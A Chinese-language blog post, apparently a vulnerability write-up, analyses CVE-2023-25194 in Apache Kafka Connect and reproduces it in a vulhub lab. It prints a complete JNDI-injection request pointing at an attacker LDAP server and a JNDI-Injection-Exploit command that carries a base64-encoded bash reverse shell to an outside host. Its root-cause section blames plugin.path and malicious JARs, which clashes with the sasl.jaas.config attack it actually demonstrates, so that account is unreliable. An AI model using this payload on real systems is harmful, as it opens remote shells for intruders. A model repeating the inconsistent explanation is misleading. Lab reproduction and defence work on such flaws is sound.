CVE-2023-25194 漏洞分析:Apache Kafka Connect 远程代码执行漏洞

漏洞概述

CVE-2023-25194 是 Apache Kafka Connect 中披露的一个高危远程代码执行(RCE)漏洞,允许未经授权的攻击者通过 REST API 构造恶意请求,在服务器上执行任意代码。

  • 漏洞编号:CVE-2023-25194

  • 影响组件:Apache Kafka Connect

  • 漏洞类型:远程代码执行(RCE)

  • 漏洞等级:高危

  • 公开时间:2023 年 2 月

  • 修复版本:Apache Kafka 3.4.0+


漏洞成因分析

Kafka Connect 是 Apache Kafka 提供的一个插件化框架,允许用户将 Kafka 与外部系统(如数据库、Elasticsearch、HDFS 等)连接。

Kafka Connect 提供了一个 REST 接口,允许动态上传 connector 的配置和插件路径。漏洞的关键在于:

服务端未对 plugin.path 参数进行严格限制,允许攻击者加载任意目录下的恶意 JAR 包。

攻击者可以伪造一个 connector 配置请求,指定 plugin.path 为任意路径(如 /tmp/evil/),并配合上传的恶意 JAR 文件,使 Kafka Connect 加载恶意类并执行,从而实现远程代码执行。


影响范围

受影响版本:

  • 所有 Apache Kafka < 3.4.0 的版本(主要影响 Kafka Connect 组件)

前提条件:

  • Kafka Connect 的 REST API 对外开放(默认监听在 8083 端口)

  • 未启用认证或鉴权机制

  • 攻击者能够上传或指定 JAR 路径

复现流程

环境使用vulhub

docker启动靶场环境---浏览器访问:xx.xx.xx.xx.:8888

首先来到漏洞位置

之后单击Apply,进行抓包

将下面的JSON替换

{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"127.0.0.1:6666",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.200.138:1389/tdk4dd\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
            },
            "topic":"test",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\\s\\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}

开启rmi服务的工具(启动的JAVA版本为java 8)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.200.138

同时监听4444端口,此端口为上述base64加密的反弹shell端口

将上面代码中的IP:port替换成自己工具生成的命令

注意!!!必须要使用ldap://xxxx/xxxx,使用rmi的工具有回显,但是监听不到

替换完后进行放包

工具回显,监听成功

修复方案

Apache 在 3.4.0 版本中修复了该漏洞,修复措施包括:

  • 限制 plugin.path 参数来源

  • 禁止通过 REST 接口动态配置 plugin 路径

  • 强制使用服务端配置中明确指定的 plugin 路径

建议措施:

  1. 立即升级 Kafka 至 3.4.0 或以上版本

  2. 禁止公网直接访问 Kafka Connect REST 接口

  3. 启用认证与授权机制(如 Basic Auth、OAuth)

  4. 设置白名单 plugin.path,避免动态加载任意目录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值